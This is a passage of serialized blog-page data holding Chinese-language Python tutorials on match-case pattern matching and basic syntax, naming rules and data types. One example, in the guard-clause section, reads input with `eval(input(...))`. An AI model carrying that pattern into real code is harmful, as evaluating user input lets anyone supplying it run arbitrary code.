match_light(color):\n",{"type":18,"tag":297,"props":100848,"children":100849},{"class":299,"line":657},[100850],{"type":18,"tag":297,"props":100851,"children":100852},{},[100853],{"type":24,"value":100854},"    match color:\n",{"type":18,"tag":297,"props":100856,"children":100857},{"class":299,"line":662},[100858],{"type":18,"tag":297,"props":100859,"children":100860},{},[100861],{"type":24,"value":100862},"        case 'red':\n",{"type":18,"tag":297,"props":100864,"children":100865},{"class":299,"line":799},[100866],{"type":18,"tag":297,"props":100867,"children":100868},{},[100869],{"type":24,"value":100870},"            return 'Stop'\n",{"type":18,"tag":297,"props":100872,"children":100873},{"class":299,"line":808},[100874],{"type":18,"tag":297,"props":100875,"children":100876},{},[100877],{"type":24,"value":100878},"        case 'yellow':\n",{"type":18,"tag":297,"props":100880,"children":100881},{"class":299,"line":817},[100882],{"type":18,"tag":297,"props":100883,"children":100884},{},[100885],{"type":24,"value":100886},"            return 'Caution'\n",{"type":18,"tag":297,"props":100888,"children":100889},{"class":299,"line":826},[100890],{"type":18,"tag":297,"props":100891,"children":100892},{},[100893],{"type":24,"value":100894},"        case 'green':\n",{"type":18,"tag":297,"props":100896,"children":100897},{"class":299,"line":4524},[100898],{"type":18,"tag":297,"props":100899,"children":100900},{},[100901],{"type":24,"value":100902},"            return 'Go'\n",{"type":18,"tag":297,"props":100904,"children":100905},{"class":299,"line":4533},[100906],{"type":18,"tag":297,"props":100907,"children":100908},{},[100909],{"type":24,"value":100910},"        case _:\n",{"type":18,"tag":297,"props":100912,"children":100913},{"class":299,"line":4546},[100914],{"type":18,"tag":297,"props":100915,"children":100916},{},[100917],{"type":24,"value":100918},"            return 'Invalid color'\n",{"type":18,"tag":297,"props":100920,"children":100921},{"class":299,"line":4555},[100922],{"type":18,"tag":297,"props":100923,"children":100924},{"emptyLinePlaceholder":793},[100925],{"type":24,"value":796},{"type":18,"tag":297,"props":100927,"children":100928},{"class":299,"line":4568},[100929],{"type":18,"tag":297,"props":100930,"children":100931},{},[100932],{"type":24,"value":100933},"print(match_light('red'))\n",{"type":18,"tag":34,"props":100935,"children":100936},{},[100937],{"type":18,"tag":105,"props":100938,"children":100939},{},[100940],{"type":24,"value":100941},"绑定变量",{"type":18,"tag":287,"props":100943,"children":100945},{"className":28710,"code":100944,"language":28712,"meta":8,"style":8},"def if_point(point: tuple):\n    if len(point) == 2:\n        if point[0] == 0 and point[1] == 0:\n            print('Origin')\n        else:\n            print(f\"x={point[0]},y={point[1]}\")\n    else:\n        print(f\"{point} is not a valid point!\")\n",[100946],{"type":18,"tag":74,"props":100947,"children":100948},{"__ignoreMap":8},[100949,100957,100965,100973,100981,100989,100997,101004],{"type":18,"tag":297,"props":100950,"children":100951},{"class":299,"line":300},[100952],{"type":18,"tag":297,"props":100953,"children":100954},{},[100955],{"type":24,"value":100956},"def if_point(point: tuple):\n",{"type":18,"tag":297,"props":100958,"children":100959},{"class":299,"line":657},[100960],{"type":18,"tag":297,"props":100961,"children":100962},{},[100963],{"type":24,"value":100964},"    if len(point) == 2:\n",{"type":18,"tag":297,"props":100966,"children":100967},{"class":299,"line":662},[100968],{"type":18,"tag":297,"props":100969,"children":100970},{},[100971],{"type":24,"value":100972},"        if point[0] == 0 and point[1] == 0:\n",{"type":18,"tag":297,"props":100974,"children":100975},{"class":299,"line":799},[100976],{"type":18,"tag":297,"props":100977,"children":100978},{},[100979],{"type":24,"value":100980},"            print('Origin')\n",{"type":18,"tag":297,"props":100982,"children":100983},{"class":299,"line":808},[100984],{"type":18,"tag":297,"props":100985,"children":100986},{},[100987],{"type":24,"value":100988},"        else:\n",{"type":18,"tag":297,"props":100990,"children":100991},{"class":299,"line":817},[100992],{"type":18,"tag":297,"props":100993,"children":100994},{},[100995],{"type":24,"value":100996},"            print(f\"x={point[0]},y={point[1]}\")\n",{"type":18,"tag":297,"props":100998,"children":100999},{"class":299,"line":826},[101000],{"type":18,"tag":297,"props":101001,"children":101002},{},[101003],{"type":24,"value":32786},{"type":18,"tag":297,"props":101005,"children":101006},{"class":299,"line":4524},[101007],{"type":18,"tag":297,"props":101008,"children":101009},{},[101010],{"type":24,"value":101011},"        print(f\"{point} is not a valid point!\")\n",{"type":18,"tag":34,"props":101013,"children":101014},{},[101015],{"type":24,"value":101016},"将上述代码使用match语句改写后得到：",{"type":18,"tag":287,"props":101018,"children":101020},{"className":28710,"code":101019,"language":28712,"meta":8,"style":8},"def match_point(point: tuple):\n    match point:\n        case (0,0):\n            print('Origin')\n        case (x,y):\n            print(f'{x=},{y=}')  # 此处的{x=}这种形式为调试友好格式化语法，等同于x={x}\n        case other: # 下划线不能进行变量名绑定，而变量可以\n            print(f'{other} is not a valid point!')\n",[101021],{"type":18,"tag":74,"props":101022,"children":101023},{"__ignoreMap":8},[101024,101032,101040,101048,101055,101063,101071,101079],{"type":18,"tag":297,"props":101025,"children":101026},{"class":299,"line":300},[101027],{"type":18,"tag":297,"props":101028,"children":101029},{},[101030],{"type":24,"value":101031},"def match_point(point: tuple):\n",{"type":18,"tag":297,"props":101033,"children":101034},{"class":299,"line":657},[101035],{"type":18,"tag":297,"props":101036,"children":101037},{},[101038],{"type":24,"value":101039},"    match point:\n",{"type":18,"tag":297,"props":101041,"children":101042},{"class":299,"line":662},[101043],{"type":18,"tag":297,"props":101044,"children":101045},{},[101046],{"type":24,"value":101047},"        case (0,0):\n",{"type":18,"tag":297,"props":101049,"children":101050},{"class":299,"line":799},[101051],{"type":18,"tag":297,"props":101052,"children":101053},{},[101054],{"type":24,"value":100980},{"type":18,"tag":297,"props":101056,"children":101057},{"class":299,"line":808},[101058],{"type":18,"tag":297,"props":101059,"children":101060},{},[101061],{"type":24,"value":101062},"        case (x,y):\n",{"type":18,"tag":297,"props":101064,"children":101065},{"class":299,"line":817},[101066],{"type":18,"tag":297,"props":101067,"children":101068},{},[101069],{"type":24,"value":101070},"            print(f'{x=},{y=}')  # 此处的{x=}这种形式为调试友好格式化语法，等同于x={x}\n",{"type":18,"tag":297,"props":101072,"children":101073},{"class":299,"line":826},[101074],{"type":18,"tag":297,"props":101075,"children":101076},{},[101077],{"type":24,"value":101078},"        case other: # 下划线不能进行变量名绑定，而变量可以\n",{"type":18,"tag":297,"props":101080,"children":101081},{"class":299,"line":4524},[101082],{"type":18,"tag":297,"props":101083,"children":101084},{},[101085],{"type":24,"value":101086},"            print(f'{other} is not a valid point!')\n",{"type":18,"tag":34,"props":101088,"children":101089},{},[101090],{"type":18,"tag":105,"props":101091,"children":101092},{},[101093],{"type":24,"value":101094},"约束项（if语句）",{"type":18,"tag":34,"props":101096,"children":101097},{},[101098,101100,101106,101108,101113],{"type":24,"value":101099},"可以在",{"type":18,"tag":74,"props":101101,"children":101103},{"className":101102},[],[101104],{"type":24,"value":101105},"case",{"type":24,"value":101107},"语句的后面接上",{"type":18,"tag":74,"props":101109,"children":101111},{"className":101110},[],[101112],{"type":24,"value":16236},{"type":24,"value":101114},"进行约束，若条件匹配为真，则执行该case的匹配，反之，则继续寻找下一个case匹配项。如下示例：",{"type":18,"tag":287,"props":101116,"children":101118},{"className":28710,"code":101117,"language":28712,"meta":8,"style":8},"point = eval(input(\"please entry point: \"))\nmatch point:\n    case (x,y) if x > y:\n        print(x,y,'x大于y')\n    case (x,y) if x \u003C y:\n        print(x,y,'x小于y')\n    case (x,y):\n        print(x,y,'x等于y')\n",[101119],{"type":18,"tag":74,"props":101120,"children":101121},{"__ignoreMap":8},[101122,101130,101138,101146,101154,101162,101170,101178],{"type":18,"tag":297,"props":101123,"children":101124},{"class":299,"line":300},[101125],{"type":18,"tag":297,"props":101126,"children":101127},{},[101128],{"type":24,"value":101129},"point = eval(input(\"please entry point: \"))\n",{"type":18,"tag":297,"props":101131,"children":101132},{"class":299,"line":657},[101133],{"type":18,"tag":297,"props":101134,"children":101135},{},[101136],{"type":24,"value":101137},"match point:\n",{"type":18,"tag":297,"props":101139,"children":101140},{"class":299,"line":662},[101141],{"type":18,"tag":297,"props":101142,"children":101143},{},[101144],{"type":24,"value":101145},"    case (x,y) if x > y:\n",{"type":18,"tag":297,"props":101147,"children":101148},{"class":299,"line":799},[101149],{"type":18,"tag":297,"props":101150,"children":101151},{},[101152],{"type":24,"value":101153},"        print(x,y,'x大于y')\n",{"type":18,"tag":297,"props":101155,"children":101156},{"class":299,"line":808},[101157],{"type":18,"tag":297,"props":101158,"children":101159},{},[101160],{"type":24,"value":101161},"    case (x,y) if x \u003C y:\n",{"type":18,"tag":297,"props":101163,"children":101164},{"class":299,"line":817},[101165],{"type":18,"tag":297,"props":101166,"children":101167},{},[101168],{"type":24,"value":101169},"        print(x,y,'x小于y')\n",{"type":18,"tag":297,"props":101171,"children":101172},{"class":299,"line":826},[101173],{"type":18,"tag":297,"props":101174,"children":101175},{},[101176],{"type":24,"value":101177},"    case (x,y):\n",{"type":18,"tag":297,"props":101179,"children":101180},{"class":299,"line":4524},[101181],{"type":18,"tag":297,"props":101182,"children":101183},{},[101184],{"type":24,"value":101185},"        print(x,y,'x等于y')\n",{"type":18,"tag":34,"props":101187,"children":101188},{},[101189],{"type":18,"tag":105,"props":101190,"children":101191},{},[101192],{"type":24,"value":101193},"匹配字典",{"type":18,"tag":34,"props":101195,"children":101196},{},[101197],{"type":24,"value":101198},"匹配字典中的键值对，只匹配case中所提到的键，不管字典的其他键",{"type":18,"tag":287,"props":101200,"children":101202},{"className":28710,"code":101201,"language":28712,"meta":8,"style":8},"dic = {'x': 20, 'y': 30, 'z': 40}\nmatch dic:\n    case {'x': 20}:\n        print('success')\n",[101203],{"type":18,"tag":74,"props":101204,"children":101205},{"__ignoreMap":8},[101206,101214,101222,101230],{"type":18,"tag":297,"props":101207,"children":101208},{"class":299,"line":300},[101209],{"type":18,"tag":297,"props":101210,"children":101211},{},[101212],{"type":24,"value":101213},"dic = {'x': 20, 'y': 30, 'z': 40}\n",{"type":18,"tag":297,"props":101215,"children":101216},{"class":299,"line":657},[101217],{"type":18,"tag":297,"props":101218,"children":101219},{},[101220],{"type":24,"value":101221},"match dic:\n",{"type":18,"tag":297,"props":101223,"children":101224},{"class":299,"line":662},[101225],{"type":18,"tag":297,"props":101226,"children":101227},{},[101228],{"type":24,"value":101229},"    case {'x': 20}:\n",{"type":18,"tag":297,"props":101231,"children":101232},{"class":299,"line":799},[101233],{"type":18,"tag":297,"props":101234,"children":101235},{},[101236],{"type":24,"value":101237},"        print('success')\n",{"type":18,"tag":34,"props":101239,"children":101240},{},[101241,101243,101248],{"type":24,"value":101242},"若想获取case未提到的键值对，则可以使用通配符",{"type":18,"tag":74,"props":101244,"children":101246},{"className":101245},[],[101247],{"type":24,"value":92464},{"type":24,"value":101249},"进行获取",{"type":18,"tag":287,"props":101251,"children":101253},{"className":28710,"code":101252,"language":28712,"meta":8,"style":8},"dic = {'x': 20, 'y': 30, 'z': 40}\nmatch dic:\n    case {'x': 20, **other}:\n        print(other)   # 输出结果为：{'y': 30, 'z': 40}\n",[101254],{"type":18,"tag":74,"props":101255,"children":101256},{"__ignoreMap":8},[101257,101264,101271,101279],{"type":18,"tag":297,"props":101258,"children":101259},{"class":299,"line":300},[101260],{"type":18,"tag":297,"props":101261,"children":101262},{},[101263],{"type":24,"value":101213},{"type":18,"tag":297,"props":101265,"children":101266},{"class":299,"line":657},[101267],{"type":18,"tag":297,"props":101268,"children":101269},{},[101270],{"type":24,"value":101221},{"type":18,"tag":297,"props":101272,"children":101273},{"class":299,"line":662},[101274],{"type":18,"tag":297,"props":101275,"children":101276},{},[101277],{"type":24,"value":101278},"    case {'x': 20, **other}:\n",{"type":18,"tag":297,"props":101280,"children":101281},{"class":299,"line":799},[101282],{"type":18,"tag":297,"props":101283,"children":101284},{},[101285],{"type":24,"value":101286},"        print(other)   # 输出结果为：{'y': 30, 'z': 40}\n",{"type":18,"tag":34,"props":101288,"children":101289},{},[101290],{"type":24,"value":101291},"若想获取键值对的值，则可以使用变量进行匹配",{"type":18,"tag":287,"props":101293,"children":101295},{"className":28710,"code":101294,"language":28712,"meta":8,"style":8},"dic = {'x': 20, 'y': 30, 'z': 40}\nmatch dic:\n    case {'x': a, 'y': b, 'z': c}:\n        print(a,b,c)   # 输出结果为：20 30 40\n",[101296],{"type":18,"tag":74,"props":101297,"children":101298},{"__ignoreMap":8},[101299,101306,101313,101321],{"type":18,"tag":297,"props":101300,"children":101301},{"class":299,"line":300},[101302],{"type":18,"tag":297,"props":101303,"children":101304},{},[101305],{"type":24,"value":101213},{"type":18,"tag":297,"props":101307,"children":101308},{"class":299,"line":657},[101309],{"type":18,"tag":297,"props":101310,"children":101311},{},[101312],{"type":24,"value":101221},{"type":18,"tag":297,"props":101314,"children":101315},{"class":299,"line":662},[101316],{"type":18,"tag":297,"props":101317,"children":101318},{},[101319],{"type":24,"value":101320},"    case {'x': a, 'y': b, 'z': c}:\n",{"type":18,"tag":297,"props":101322,"children":101323},{"class":299,"line":799},[101324],{"type":18,"tag":297,"props":101325,"children":101326},{},[101327],{"type":24,"value":101328},"        print(a,b,c)   # 输出结果为：20 30 40\n",{"type":18,"tag":34,"props":101330,"children":101331},{},[101332],{"type":18,"tag":105,"props":101333,"children":101334},{},[101335],{"type":24,"value":101336},"类模式匹配",{"type":18,"tag":287,"props":101338,"children":101340},{"className":28710,"code":101339,"language":28712,"meta":8,"style":8},"class Point:\n    def __init__(self,x,y):\n        self.x = x\n        self.y = y\n\n\"\"\"此处也可以是使用__match_args__ = ()来指定在match...case中位置表示的参数\"\"\"\n\np = Point(0,1)\nmatch p:\n    case Point(x=0,y=0): # case中构造Point对象时必须使用关键字传参\n        print('Origin')\n    case Point(x=x ,y=y):\n        print(f\"{x=},{y=}\")\n",[101341],{"type":18,"tag":74,"props":101342,"children":101343},{"__ignoreMap":8},[101344,101352,101360,101368,101376,101383,101391,101398,101406,101414,101422,101430,101438],{"type":18,"tag":297,"props":101345,"children":101346},{"class":299,"line":300},[101347],{"type":18,"tag":297,"props":101348,"children":101349},{},[101350],{"type":24,"value":101351},"class Point:\n",{"type":18,"tag":297,"props":101353,"children":101354},{"class":299,"line":657},[101355],{"type":18,"tag":297,"props":101356,"children":101357},{},[101358],{"type":24,"value":101359},"    def __init__(self,x,y):\n",{"type":18,"tag":297,"props":101361,"children":101362},{"class":299,"line":662},[101363],{"type":18,"tag":297,"props":101364,"children":101365},{},[101366],{"type":24,"value":101367},"        self.x = x\n",{"type":18,"tag":297,"props":101369,"children":101370},{"class":299,"line":799},[101371],{"type":18,"tag":297,"props":101372,"children":101373},{},[101374],{"type":24,"value":101375},"        self.y = y\n",{"type":18,"tag":297,"props":101377,"children":101378},{"class":299,"line":808},[101379],{"type":18,"tag":297,"props":101380,"children":101381},{"emptyLinePlaceholder":793},[101382],{"type":24,"value":796},{"type":18,"tag":297,"props":101384,"children":101385},{"class":299,"line":817},[101386],{"type":18,"tag":297,"props":101387,"children":101388},{},[101389],{"type":24,"value":101390},"\"\"\"此处也可以是使用__match_args__ = ()来指定在match...case中位置表示的参数\"\"\"\n",{"type":18,"tag":297,"props":101392,"children":101393},{"class":299,"line":826},[101394],{"type":18,"tag":297,"props":101395,"children":101396},{"emptyLinePlaceholder":793},[101397],{"type":24,"value":796},{"type":18,"tag":297,"props":101399,"children":101400},{"class":299,"line":4524},[101401],{"type":18,"tag":297,"props":101402,"children":101403},{},[101404],{"type":24,"value":101405},"p = Point(0,1)\n",{"type":18,"tag":297,"props":101407,"children":101408},{"class":299,"line":4533},[101409],{"type":18,"tag":297,"props":101410,"children":101411},{},[101412],{"type":24,"value":101413},"match p:\n",{"type":18,"tag":297,"props":101415,"children":101416},{"class":299,"line":4546},[101417],{"type":18,"tag":297,"props":101418,"children":101419},{},[101420],{"type":24,"value":101421},"    case Point(x=0,y=0): # case中构造Point对象时必须使用关键字传参\n",{"type":18,"tag":297,"props":101423,"children":101424},{"class":299,"line":4555},[101425],{"type":18,"tag":297,"props":101426,"children":101427},{},[101428],{"type":24,"value":101429},"        print('Origin')\n",{"type":18,"tag":297,"props":101431,"children":101432},{"class":299,"line":4568},[101433],{"type":18,"tag":297,"props":101434,"children":101435},{},[101436],{"type":24,"value":101437},"    case Point(x=x ,y=y):\n",{"type":18,"tag":297,"props":101439,"children":101440},{"class":299,"line":4577},[101441],{"type":18,"tag":297,"props":101442,"children":101443},{},[101444],{"type":24,"value":101445},"        print(f\"{x=},{y=}\")\n",{"type":18,"tag":651,"props":101447,"children":101448},{},[101449],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":101451},[101452,101453,101454,101455,101456],{"id":98956,"depth":662,"text":98956},{"id":99030,"depth":662,"text":99030},{"id":99705,"depth":662,"text":99705},{"id":100048,"depth":662,"text":100051},{"id":100595,"depth":662,"text":100598},"content:blog:2025-07-03-python-流程控制语句.md","blog\u002F2025-07-03-python-流程控制语句.md","blog\u002F2025-07-03-python-流程控制语句",{"_path":101461,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":101462,"description":101463,"date":101464,"tags":101465,"body":101466,"_type":672,"_id":105911,"_source":674,"_file":105912,"_stem":105913,"_extension":677},"\u002Fblog\u002F2025-07-02-python","Python-语言基础","Python语言基础：变量、数据类型、运算符、输入输出等核心语法入门。","2025-07-02",[28616,75509],{"type":15,"children":101467,"toc":105904},[101468,101471,101477,101508,101528,101560,101579,101584,101644,101650,101660,101683,101693,101711,101791,101845,101850,101855,101863,101991,101999,102004,102027,102035,102077,102140,102153,102183,102191,102196,102219,102227,102396,102401,102414,102437,102457,102496,102528,102533,102572,102580,102599,102668,102673,102710,102763,102864,102869,102874,102884,102898,102905,103025,103125,103131,103136,103191,103196,103241,103255,103259,103267,103281,103285,103293,103307,103311,103318,103332,103336,103344,103358,103362,103369,103383,103387,103395,103409,103413,103421,103435,103439,103447,103470,103474,103482,103496,103500,103508,103522,103526,103534,103557,103561,103569,103575,103580,103667,103673,103678,103701,103705,103712,103735,103739,103747,103794,103798,103806,103820,103824,103832,103886,103890,103898,103953,103957,103965,104003,104007,104015,104038,104042,104050,104097,104101,104109,104115,104128,104133,104147,104152,104160,104168,104249,104263,104272,104295,104305,104328,104338,104343,104357,104362,104370,104376,104423,104446,104450,104458,104489,104493,104501,104507,104518,104541,104546,104554,104559,104598,104602,104610,104628,104667,104671,104679,104685,104697,104760,104764,104772,104843,104847,104855,104861,104874,104897,104902,104910,104949,104954,104962,104970,104976,105009,105072,105076,105084,105123,105127,105135,105181,105185,105193,105199,105204,105243,105256,105264,105269,105338,105343,105351,105364,105447,105451,105459,105467,105472,105526,105530,105538,105558,105656,105660,105668,105676,105681,105776,105781,105789,105797,105802,105888,105892,105900],{"type":18,"tag":121,"props":101469,"children":101470},{},[],{"type":18,"tag":27,"props":101472,"children":101474},{"id":101473},"python语法特点",[101475],{"type":24,"value":101476},"Python语法特点",{"type":18,"tag":34,"props":101478,"children":101479},{},[101480,101485,101486,101491,101496,101497,101502,101503],{"type":18,"tag":105,"props":101481,"children":101482},{},[101483],{"type":24,"value":101484},"单行注释",{"type":24,"value":222},{"type":18,"tag":2577,"props":101487,"children":101488},{"color":99000},[101489],{"type":24,"value":101490},"# 注释内容",{"type":18,"tag":105,"props":101492,"children":101493},{},[101494],{"type":24,"value":101495},"多行注释",{"type":24,"value":222},{"type":18,"tag":2577,"props":101498,"children":101499},{"color":99000},[101500],{"type":24,"value":101501},"''' 注释内容 '''",{"type":24,"value":26222},{"type":18,"tag":2577,"props":101504,"children":101505},{"color":99000},[101506],{"type":24,"value":101507},"\"\"\" 注释内容 \"\"\"",{"type":18,"tag":96,"props":101509,"children":101510},{},[101511],{"type":18,"tag":34,"props":101512,"children":101513},{},[101514,101516,101521,101523],{"type":24,"value":101515},"使用三引号作为注释时，",{"type":18,"tag":105,"props":101517,"children":101518},{},[101519],{"type":24,"value":101520},"三引号必须成对出现",{"type":24,"value":101522},"，否则将出现下面报错：\n",{"type":18,"tag":2577,"props":101524,"children":101525},{"color":2579},[101526],{"type":24,"value":101527},"SyntaxError: unterminated triple-quoted string literal",{"type":18,"tag":34,"props":101529,"children":101530},{},[101531,101533,101538,101539,101544,101546,101551,101553,101558],{"type":24,"value":101532},"Python是通过",{"type":18,"tag":105,"props":101534,"children":101535},{},[101536],{"type":24,"value":101537},"缩进",{"type":24,"value":10315},{"type":18,"tag":105,"props":101540,"children":101541},{},[101542],{"type":24,"value":101543},"半角冒号",{"type":24,"value":101545},"区分代码之间的",{"type":18,"tag":105,"props":101547,"children":101548},{},[101549],{"type":24,"value":101550},"层次",{"type":24,"value":101552},"，编码时建议严格遵循",{"type":18,"tag":105,"props":101554,"children":101555},{},[101556],{"type":24,"value":101557},"PEP8编码规范",{"type":24,"value":101559},"，增加代码的可读性。",{"type":18,"tag":96,"props":101561,"children":101562},{},[101563],{"type":18,"tag":34,"props":101564,"children":101565},{},[101566,101571,101573,101578],{"type":18,"tag":105,"props":101567,"children":101568},{},[101569],{"type":24,"value":101570},"同级代码的缩进量必须相同",{"type":24,"value":101572},"，否则将会抛出",{"type":18,"tag":2577,"props":101574,"children":101575},{"color":2579},[101576],{"type":24,"value":101577},"SyntaxError",{"type":24,"value":86836},{"type":18,"tag":34,"props":101580,"children":101581},{},[101582],{"type":24,"value":101583},"我了解了一些命名规范：",{"type":18,"tag":210,"props":101585,"children":101586},{},[101587,101597,101607,101617,101627],{"type":18,"tag":158,"props":101588,"children":101589},{},[101590,101595],{"type":18,"tag":105,"props":101591,"children":101592},{},[101593],{"type":24,"value":101594},"函数、类属性及方法、模块名",{"type":24,"value":101596},"：全小写且尽量短小，可使用下划线",{"type":18,"tag":158,"props":101598,"children":101599},{},[101600,101605],{"type":18,"tag":105,"props":101601,"children":101602},{},[101603],{"type":24,"value":101604},"包名",{"type":24,"value":101606},"：全小写且尽量短小，避免使用下划线",{"type":18,"tag":158,"props":101608,"children":101609},{},[101610,101615],{"type":18,"tag":105,"props":101611,"children":101612},{},[101613],{"type":24,"value":101614},"类名",{"type":24,"value":101616},"：采用单词首字母大写的风格",{"type":18,"tag":158,"props":101618,"children":101619},{},[101620,101625],{"type":18,"tag":105,"props":101621,"children":101622},{},[101623],{"type":24,"value":101624},"模块内部的类名",{"type":24,"value":101626},"：采用下划线+首字母大写的类名",{"type":18,"tag":158,"props":101628,"children":101629},{},[101630,101631,101636,101638,101643],{"type":24,"value":35582},{"type":18,"tag":105,"props":101632,"children":101633},{},[101634],{"type":24,"value":101635},"双下划线开头",{"type":24,"value":101637},"的实例变量或方法是",{"type":18,"tag":105,"props":101639,"children":101640},{},[101641],{"type":24,"value":101642},"类私有",{"type":24,"value":19130},{"type":18,"tag":27,"props":101645,"children":101647},{"id":101646},"python中的变量",[101648],{"type":24,"value":101649},"Python中的变量",{"type":18,"tag":34,"props":101651,"children":101652},{},[101653,101658],{"type":18,"tag":105,"props":101654,"children":101655},{},[101656],{"type":24,"value":101657},"保留字",{"type":24,"value":101659},"：被Python赋予特定意义的单词，这些单词不能充当标识符。可使用下面语句查询保留字的内容：",{"type":18,"tag":287,"props":101661,"children":101663},{"code":101662,"language":28712,"meta":8,"className":28710,"style":8},"import keyword\nprint(keyword.kwlist)\n",[101664],{"type":18,"tag":74,"props":101665,"children":101666},{"__ignoreMap":8},[101667,101675],{"type":18,"tag":297,"props":101668,"children":101669},{"class":299,"line":300},[101670],{"type":18,"tag":297,"props":101671,"children":101672},{},[101673],{"type":24,"value":101674},"import keyword\n",{"type":18,"tag":297,"props":101676,"children":101677},{"class":299,"line":657},[101678],{"type":18,"tag":297,"props":101679,"children":101680},{},[101681],{"type":24,"value":101682},"print(keyword.kwlist)\n",{"type":18,"tag":34,"props":101684,"children":101685},{},[101686,101691],{"type":18,"tag":105,"props":101687,"children":101688},{},[101689],{"type":24,"value":101690},"标识符",{"type":24,"value":101692},"：标识变量、函数、类、模块和其他对象的名称，其命名规则如下：",{"type":18,"tag":154,"props":101694,"children":101695},{},[101696,101701,101706],{"type":18,"tag":158,"props":101697,"children":101698},{},[101699],{"type":24,"value":101700},"由字母、数字、下划线组成",{"type":18,"tag":158,"props":101702,"children":101703},{},[101704],{"type":24,"value":101705},"不能以数字开头",{"type":18,"tag":158,"props":101707,"children":101708},{},[101709],{"type":24,"value":101710},"区分大小写",{"type":18,"tag":34,"props":101712,"children":101713},{},[101714,101716,101721,101723,101728,101729,101734,101736,101742,101744,101749,101751,101756,101758,101764,101766,101772,101777,101779,101785,101790],{"type":24,"value":101715},"Python是一种",{"type":18,"tag":105,"props":101717,"children":101718},{},[101719],{"type":24,"value":101720},"动态类型",{"type":24,"value":101722},"的语言，变量的类型可以随时变化。为",{"type":18,"tag":105,"props":101724,"children":101725},{},[101726],{"type":24,"value":101727},"变量赋值",{"type":24,"value":78909},{"type":18,"tag":74,"props":101730,"children":101732},{"className":101731},[],[101733],{"type":24,"value":9692},{"type":24,"value":101735},"实现，例如：",{"type":18,"tag":74,"props":101737,"children":101739},{"className":101738},[],[101740],{"type":24,"value":101741},"my_name = \"WuChen\"",{"type":24,"value":101743}," ；若要",{"type":18,"tag":105,"props":101745,"children":101746},{},[101747],{"type":24,"value":101748},"同时输出多份内容",{"type":24,"value":101750},"，则可以在相邻两内容用",{"type":18,"tag":74,"props":101752,"children":101754},{"className":101753},[],[101755],{"type":24,"value":17444},{"type":24,"value":101757},"间隔，例如：",{"type":18,"tag":74,"props":101759,"children":101761},{"className":101760},[],[101762],{"type":24,"value":101763},"print(value1,value2,value3,...)",{"type":24,"value":101765},"；在python中可以使用内置函数",{"type":18,"tag":74,"props":101767,"children":101769},{"className":101768},[],[101770],{"type":24,"value":101771},"type(被查找类型的数据)",{"type":18,"tag":105,"props":101773,"children":101774},{},[101775],{"type":24,"value":101776},"返回变量类型",{"type":24,"value":101778},"；可以使用内置函数",{"type":18,"tag":74,"props":101780,"children":101782},{"className":101781},[],[101783],{"type":24,"value":101784},"id(被查找地址的值名称)",{"type":18,"tag":105,"props":101786,"children":101787},{},[101788],{"type":24,"value":101789},"返回变量所指的内存地址",{"type":24,"value":111},{"type":18,"tag":287,"props":101792,"children":101794},{"code":101793,"language":28712,"meta":8,"className":28710,"style":8},"name = \"Liu\"\nID = 2048\nprint(type(name),type(ID))            # \u003Cclass 'str'> \u003Cclass 'int'>\n\nnum1 = num2 = 1024\nprint(id(num1),id(num2))     # 输出内容为：2536300786608 2536300786608\n",[101795],{"type":18,"tag":74,"props":101796,"children":101797},{"__ignoreMap":8},[101798,101806,101814,101822,101829,101837],{"type":18,"tag":297,"props":101799,"children":101800},{"class":299,"line":300},[101801],{"type":18,"tag":297,"props":101802,"children":101803},{},[101804],{"type":24,"value":101805},"name = \"Liu\"\n",{"type":18,"tag":297,"props":101807,"children":101808},{"class":299,"line":657},[101809],{"type":18,"tag":297,"props":101810,"children":101811},{},[101812],{"type":24,"value":101813},"ID = 2048\n",{"type":18,"tag":297,"props":101815,"children":101816},{"class":299,"line":662},[101817],{"type":18,"tag":297,"props":101818,"children":101819},{},[101820],{"type":24,"value":101821},"print(type(name),type(ID))            # \u003Cclass 'str'> \u003Cclass 'int'>\n",{"type":18,"tag":297,"props":101823,"children":101824},{"class":299,"line":799},[101825],{"type":18,"tag":297,"props":101826,"children":101827},{"emptyLinePlaceholder":793},[101828],{"type":24,"value":796},{"type":18,"tag":297,"props":101830,"children":101831},{"class":299,"line":808},[101832],{"type":18,"tag":297,"props":101833,"children":101834},{},[101835],{"type":24,"value":101836},"num1 = num2 = 1024\n",{"type":18,"tag":297,"props":101838,"children":101839},{"class":299,"line":817},[101840],{"type":18,"tag":297,"props":101841,"children":101842},{},[101843],{"type":24,"value":101844},"print(id(num1),id(num2))     # 输出内容为：2536300786608 2536300786608\n",{"type":18,"tag":27,"props":101846,"children":101848},{"id":101847},"基本数据类型",[101849],{"type":24,"value":101847},{"type":18,"tag":34,"props":101851,"children":101852},{},[101853],{"type":24,"value":101854},"python中的变量无类型，但变量所存储的数据具有类型",{"type":18,"tag":34,"props":101856,"children":101857},{},[101858],{"type":18,"tag":105,"props":101859,"children":101860},{},[101861],{"type":24,"value":101862},"数字型",{"type":18,"tag":431,"props":101864,"children":101865},{},[101866,101890],{"type":18,"tag":435,"props":101867,"children":101868},{},[101869],{"type":18,"tag":439,"props":101870,"children":101871},{},[101872,101877,101881,101886],{"type":18,"tag":443,"props":101873,"children":101874},{"align":3465},[101875],{"type":24,"value":101876},"整数",{"type":18,"tag":443,"props":101878,"children":101879},{"align":3465},[101880],{"type":24,"value":16005},{"type":18,"tag":443,"props":101882,"children":101883},{"align":3465},[101884],{"type":24,"value":101885},"开头",{"type":18,"tag":443,"props":101887,"children":101888},{"align":3465},[101889],{"type":24,"value":9987},{"type":18,"tag":459,"props":101891,"children":101892},{},[101893,101916,101939,101962],{"type":18,"tag":439,"props":101894,"children":101895},{},[101896,101901,101906,101911],{"type":18,"tag":466,"props":101897,"children":101898},{"align":3465},[101899],{"type":24,"value":101900},"二进制",{"type":18,"tag":466,"props":101902,"children":101903},{"align":3465},[101904],{"type":24,"value":101905},"0或1",{"type":18,"tag":466,"props":101907,"children":101908},{"align":3465},[101909],{"type":24,"value":101910},"0b \u002F 0B",{"type":18,"tag":466,"props":101912,"children":101913},{"align":3465},[101914],{"type":24,"value":101915},"0b1010011",{"type":18,"tag":439,"props":101917,"children":101918},{},[101919,101924,101929,101934],{"type":18,"tag":466,"props":101920,"children":101921},{"align":3465},[101922],{"type":24,"value":101923},"八进制",{"type":18,"tag":466,"props":101925,"children":101926},{"align":3465},[101927],{"type":24,"value":101928},"0~7",{"type":18,"tag":466,"props":101930,"children":101931},{"align":3465},[101932],{"type":24,"value":101933},"0o \u002F 